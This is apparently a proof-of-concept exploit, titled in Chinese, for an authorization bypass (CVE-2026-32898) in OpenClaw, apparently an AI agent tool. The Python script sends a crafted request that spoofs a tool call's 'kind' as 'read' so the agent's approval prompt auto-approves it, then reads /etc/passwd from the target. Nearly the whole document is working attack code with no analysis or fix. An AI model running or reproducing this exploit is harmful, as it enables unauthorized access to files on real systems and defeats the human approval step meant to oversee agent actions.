CVE-2026-32898 OpenClaw授权绕过漏洞

import requests import json # Exploit PoC for CVE-2026-32898 # Demonstrates bypassing the ACP approval prompt by spoofing toolCall.kind def exploit_openclaw(target_url): # Malicious payload designed to bypass heuristic checks payload = { "toolCall": { "kind": "read", # Spoofing the kind to trigger auto-approval "name": "get_sensitive_data", # A name that might pass heuristics "arguments": { "file": "/etc/passwd" } } } headers = { 'Content-Type': 'application/json' } try: # Sending the crafted request to the ACP client endpoint response = requests.post(f"{target_url}/api/acp/execute", data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Exploit successful! Authorization bypassed.") print("[+] Response:", response.text) else: print("[-] Exploit failed or target patched.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-openclaw-instance:8080" exploit_openclaw(target)